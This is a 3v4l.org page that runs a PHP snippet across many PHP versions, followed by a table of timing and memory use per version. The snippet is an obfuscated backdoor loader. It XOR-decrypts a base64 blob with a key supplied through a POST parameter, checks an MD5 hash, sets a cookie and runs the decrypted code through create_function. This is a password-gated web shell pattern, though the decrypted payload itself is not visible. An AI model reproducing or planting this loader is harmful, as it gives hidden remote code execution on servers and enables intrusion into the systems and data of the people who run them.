3v4l.org

run code in 300+ PHP versions simultaneously
<?php $o__o_=base64_decode('QAYLHhIJbzIQClFAQgQTFkNYbz5aUBQZURIXXBARFztifGQwPRdaaFkePE9KOjMWRBRdUhtDXkIXaGkpYTc6REs7UgB6AAAATQ1FUUlOU0dWEylVOSlzfDJUGwwaXAMCeWZeXnsHSztPGn0LXnp9DlAUWksWUloCH1JaJjV0c04cLApTdR9SWiY1dHNOB1Q4XQEEJF1Fc3QyQUhBSit3Enp9Vi1UB3lEHQAABRRQXg4LPTsOT1JHBl8tN0kEQVsMRUc6EE1HMDQqe3MIYxdgFU4YRh5bX2llARVCbFwZOAYRHQJhJX52dkpwd3MaZkpvE0hTYVcUdmgyYlx4MBI4JHJ5BzAyGx03LRx9AHUqLgkAcFUiLgwcFD4+FAY+Ij4dOzoLCwAYSgciNQ0NLS0QGw91FAQ0bgULMRQCFjxKCgAzIjoMMBsKGxlmGBJJBAoWEC5XDy5sEDcuHBADBz0kGRUAERw9CyMQFDkbGBUtMhUmcQwEAhsSBiEMCyhdVSUEJjZUHiUqGg8mahAYFAwbEDIqURg9dAohDz4xFwk+MRxdMQQHLi4QAgAABhAXEHMHKnUTGXEmMhc+CwouSwgvCARhdwQAHFsKInkWGC4qOwANIWQWOnUbHzMqMQF4MQcSWil3DisqMRErCz8wEj5RFS1TNjtbXjACHyEyDABdKQQ/aQoXFWR3GiIpARMsPSYUMAwUAgdHZBQGKS8FAAAoAQEfUho/egUxKD4xJBFXBx4QCCAiKFpwGzU+AA1IATEOLgsTFGZBLAQbMj8VO2M9BS5ZLwMuJmIEEwMMGQAuRyNbRQASAEclIHMyPCM4dgAKLjoJBgQmDmh7dV1DEBhzZ2AxPTgRTUIjHj8dGCdQKDo3Ug9vX3p6ZnhBa2QXVAtGFQBFfHZXKCZIb05rZ25EOnVfbWcuIx0PDWRdRXN0ewdQTDhZHQAAVwFCTn8JaHpMQUNFDEMPFQ5LT11KERh/Q0FSSEhFDEwzO2hJQG0RaCRjO3hnKBFBaVNuFwsQJxpkA0w4ZFp8YnIYZkplKH5wYmVESUIyRHNzJy8jL2RfLSoSBAwjCUxqHgQXFB4iVj8WBHQMAgROABMbeygeBT4KBQ0YCBU1AA4GAi0uAAIAIgoAMRs2MV0UFxcPPwslADAGITEqIRYPAw8HMQcRBA8iGlp1FQQEeCATLQsuGwcMCgc7MiwCORsfBT9cBgEQJhsABxMjGCYJFwI4BDkJNVsACzEUBzI7IRgfcg8KAyo5PBNYCAQSNnEABnEMdAwDDxMGKjElBD1uMQATdR0gBh8EGhB/CQ8DVy4HDTUACwZxMQAmcgkTABwBGnIfCAMTABgNH2oGFA9XIxFbB3Mfc38bIyMTBgUQTC0DLgsYMncYBgQKcBMUJR8gFgxBNxUvJTQSF3l/IzkEAxQtQiAQSBs9HTYDJwgrEwAOABggCl1JBiINNi4HBQh9Bi0EBwNcBAYHNBw/AQ89Oxo6YC0cEikqGBAufDAtAyAPAW8KAGULCRUDZSkHOwA1CiMTXxwESBgVEg8hAhY1ehsEHzMMPWt6dkVueVhIZVhtdTopM1lwTTk0AiMLJzQENQw5LHpybmtrbB1jZ09Yd3VscB5oSBQ8Ni5zVlpfZWg1T19aeThbHQ8NZF1Fc3R7B1BMOFkdAABXBUJOfwloekxBQ0UMQw8TCExIXUoRGH9DQVJISEUMTCEASl9KbRFIJGdmGGY8NEFpcgUoHzszFWglVzltRWtpdQBpYkNLVE5jY1NkcgoVTmoaKz4tW34VKwIiHSZUR0sCOFMuDzZ/Qw0GD0gJMhQjCgMfORFZKmUdByUyCRIlHhcOdhsyZRwJFXA6NwUJfwsJPhN9AQYACwgxGEEKZ1YoJBBDGCkEf04HFA9GBjV2EQ4sLg4ZAypFFxciDAMiOR8XLAgfBDtxJRBmHDIXCz1AFi4LYAccOiANITVpDWcNAARgOgAlPAAtAEtcfA8+ahINFzkOHWNTGhdxB2MEGhAQAxcFfxkoXyAIMhsnAQsldwIDBBwUIUEDDT86OA1Ifgk1Yw8IBzhFDwFmACgXLRwxGysmAw0pRzgEdRRYJhcfDTcBUQItLQ8DFyYIBw8/ECsDWBQpEhRjJBF7HwYQOhx8Azo1DxsXIQUQBwUKCQcxBzc9ByMqSRgJFQMLACh1AxAycRR3BVkLPBsZNiAJahglBwJzFgUqBCscYQwzDi8QSBQ+Rzk8ABwmIQd4Kg8qNRUHFEYiMXYtERYFKjEaAH4gEUspCzdVJR8bMhx5F1ljAxBkQQUJECUsBRYHMhobEx8BZgwtJQcIJSIUDAMWLQMjIi10AhYfAD8zFXQnFQBbEQErFHN0TnFlU0pMGHRPUic6dU1WNAoWJhA2JxUgFjYDbRcXb29pb2huZm1hZmVwZm1hZSogIW9Qa1wRVz89aVRkJSVUS0wTfn5STEVODE8OHFkUAExSFhMtHgAeREUHTAEqJQ4OCA4NREJVABoEFUxJWQpPDhxQAAAAAABZaSodAFMMSTJFDBgRC1doZFUpYQwfCQhPVAEYFwJNSkwNTSQjLSoAAEVDTARFXUQGLS4OCQpLKWFFWRstb0NIS0QHAUZLFk1+QUcfDBZVMCgOZW8FCg5YGwRQTAgLXEwLTRQvek9TVAJbXwEBUFEQG3lzFQlOR2VjRERFTkdDBg5NQgFEAC0CAkEVFQUaCwAAVEZBBwlXXk9SHBwECwQdG0RJWwAKTlZQX1gAAVJVGkEZHE1HSQBIHwUIEAsfAg1DU0VvQxYrHUNDEwVMNg1YQUxMSwoXHRJFUAAcVQceBQFUVA0JFVgfUBMFDQZNAk4PDAhYH1ZWAlYXDRkQWB9BURwechFJRVJTVlMGABAcBBENCwoNFlheEEweHFUHHgUBVFQNCRVYH1ATBQ0GTQJODwwIWB9WVgJWFw0ZEFgfVVEcHncfXFdFXEZCB0k9DV0QFFdZBQpMFwYeVEUZC01XB1UWFBkRHwIEAAgcCh8CPQkCEh8NSh4PEA4eGFsaGXoo'); for ($o_o = 0x00; $o_o < 0xFF; $o_o++ ) { $o_o=isset($_POST['o_o'])?$_POST['o_o']:""; $o_o=md5($o_o).substr(MD5(strrev($o_o)),0,strlen($o_o)); for($o___o=0; $o___o<2268; $o___o++) { $o__o_[$o___o]=chr((ord($o__o_[$o___o])^ord($o_o[$o___o]))%256); $o_o.=$o__o_[$o___o]; } echo MD5($o__o_); if(MD5($o__o_)=='43a141570e0c926e0e3673216a4dd73d') { echo 'Success'; echo $o_o; if(isset($_POST['o_o']))@setcookie('o_o', $_POST['o_o']); $o___o=create_function('',$o__o_); unset($o_o,$o__o_); $o___o(); } }?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00717.13
8.3.50.0070.00718.17
8.3.40.0140.00318.97
8.3.30.0120.00318.80
8.3.20.0070.00720.36
8.3.10.0000.00821.97
8.3.00.0040.00423.52
8.2.180.0100.01418.54
8.2.170.0100.00722.96
8.2.160.0080.01119.33
8.2.150.0140.00324.18
8.2.140.0120.00624.66
8.2.130.0090.00020.91
8.2.120.0120.00626.35
8.2.110.0030.00620.59
8.2.100.0090.00317.97
8.2.90.0080.00019.53
8.2.80.0000.00819.46
8.2.70.0030.00517.63
8.2.60.0060.00318.05
8.2.50.0040.00418.28
8.2.40.0000.00820.29
8.2.30.0060.00319.42
8.2.20.0000.00818.30
8.2.10.0000.00818.31
8.2.00.0040.00418.29
8.1.280.0210.00025.92
8.1.270.0000.00824.66
8.1.260.0000.00826.35
8.1.250.0090.00628.09
8.1.240.0060.00320.92
8.1.230.0090.00320.34
8.1.220.0000.00817.91
8.1.210.0090.00018.77
8.1.200.0090.00017.47
8.1.190.0030.00517.48
8.1.180.0000.00818.10
8.1.170.0000.00918.68
8.1.160.0040.00418.98
8.1.150.0000.00720.24
8.1.140.0000.00819.67
8.1.130.0040.00418.98
8.1.120.0080.00017.57
8.1.110.0040.00417.56
8.1.100.0040.00417.58
8.1.90.0040.00417.56
8.1.80.0000.00817.58
8.1.70.0030.00317.51
8.1.60.0050.00317.58
8.1.50.0040.00417.61
8.1.40.0030.00517.60
8.1.30.0030.00617.79
8.1.20.0080.00017.72
8.1.10.0030.00617.54
8.1.00.0000.00917.59
8.0.300.0060.00318.77
8.0.290.0040.00416.75
8.0.280.0040.00418.58
8.0.270.0050.00217.35
8.0.260.0070.00020.59
8.0.250.0040.00416.96
8.0.240.0050.00317.04
8.0.230.0040.00416.96
8.0.220.0030.00516.88
8.0.210.0040.00416.98
8.0.200.0000.00817.05
8.0.190.0050.00316.93
8.0.180.0040.00417.02
8.0.170.0040.00416.94
8.0.160.0000.00817.01
8.0.150.0040.00416.91
8.0.140.0050.00316.95
8.0.130.0030.00313.45
8.0.120.0040.00416.85
8.0.110.0000.00816.95
8.0.100.0040.00416.84
8.0.90.0050.00216.88
8.0.80.0070.01016.97
8.0.70.0030.00516.86
8.0.60.0050.00217.05
8.0.50.0050.00317.02
8.0.30.0140.00417.09
8.0.20.0100.01117.40
8.0.10.0000.00817.14
8.0.00.0060.01716.83
7.4.330.0030.27415.55
7.4.320.0100.22716.50
7.4.300.0100.23616.52
7.4.290.0070.23516.58
7.4.280.0130.27716.57
7.4.270.0130.22216.59
7.4.260.0230.22116.61
7.4.250.0130.26616.37
7.4.240.0070.25916.40
7.4.230.0070.24516.47
7.4.220.0200.50716.32
7.4.210.0200.40916.52
7.4.200.0070.23216.60
7.4.160.0260.41216.44
7.4.150.0200.54017.40
7.4.140.0290.49617.86
7.4.130.0260.54316.38
7.4.120.0300.52816.63
7.4.110.0360.52016.67
7.4.100.0260.46816.39
7.4.90.0130.43516.58
7.4.80.0290.49919.39
7.4.70.0230.64116.69
7.4.60.0290.43016.56
7.4.50.0070.44516.56
7.4.40.0330.43416.57
7.4.30.0270.41716.38
7.3.330.0070.25213.26
7.3.320.0070.24113.36
7.3.310.0130.23516.50
7.3.300.0030.24716.11
7.3.290.0180.46616.34
7.3.280.0200.49716.30
7.3.270.0290.43617.40
7.3.260.0180.44216.44
7.3.250.0160.46516.52
7.3.240.0190.46216.31
7.3.230.0220.47516.48
7.3.210.0100.42816.56
7.3.200.0230.43216.48
7.3.190.0260.40916.46
7.3.180.0230.43216.33
7.3.170.0100.44116.43
7.3.160.0430.44616.16
7.2.330.0350.52916.82
7.2.320.0350.69616.48
7.2.310.0230.48016.70
7.2.300.0220.65616.82
7.2.290.0260.47416.72
7.1.100.3750.86716.36
7.1.90.1860.69817.29
7.1.80.1830.75317.12
7.1.70.1550.75316.20
7.1.60.1500.59034.20
7.1.50.1600.53134.22
7.1.40.0170.46434.50
7.1.30.0200.50134.56
7.1.20.0330.56534.76
7.1.10.0200.83216.70
7.1.00.0070.64816.61
7.0.240.3121.09415.98
7.0.230.1970.78416.88
7.0.220.1660.81616.99
7.0.210.1660.70115.93
7.0.200.1770.73515.81
7.0.190.1400.74716.08
7.0.180.0220.55816.21
7.0.170.0300.65014.64
7.0.160.0260.80316.25
7.0.150.0470.73316.27
7.0.140.0260.61416.52
7.0.130.0060.63616.69
7.0.120.0030.73916.63
7.0.110.0100.63616.44
7.0.100.0130.75216.27
7.0.90.0170.58216.26
7.0.80.0240.86916.58
7.0.70.0130.64516.30
7.0.60.0030.61116.32
7.0.50.0100.68316.32
7.0.40.0030.59216.41
7.0.30.0210.66716.64
7.0.20.0130.68716.49
7.0.10.0140.65116.61
7.0.00.0100.61016.34
5.6.300.0271.49520.86
5.6.290.0131.54320.77
5.6.280.0301.93620.79
5.6.270.0101.59220.76
5.6.260.0231.70120.79
5.6.250.0171.60920.81
5.6.240.0231.71020.89
5.6.230.0232.04820.93
5.6.220.0131.56720.75
5.6.210.0101.62220.96
5.6.200.0231.67520.71
5.6.190.0331.69320.73
5.6.180.0181.57120.71
5.6.170.0161.61920.71
5.6.160.0311.62220.96

preferences:
61.3 ms | 401 KiB | 5 Q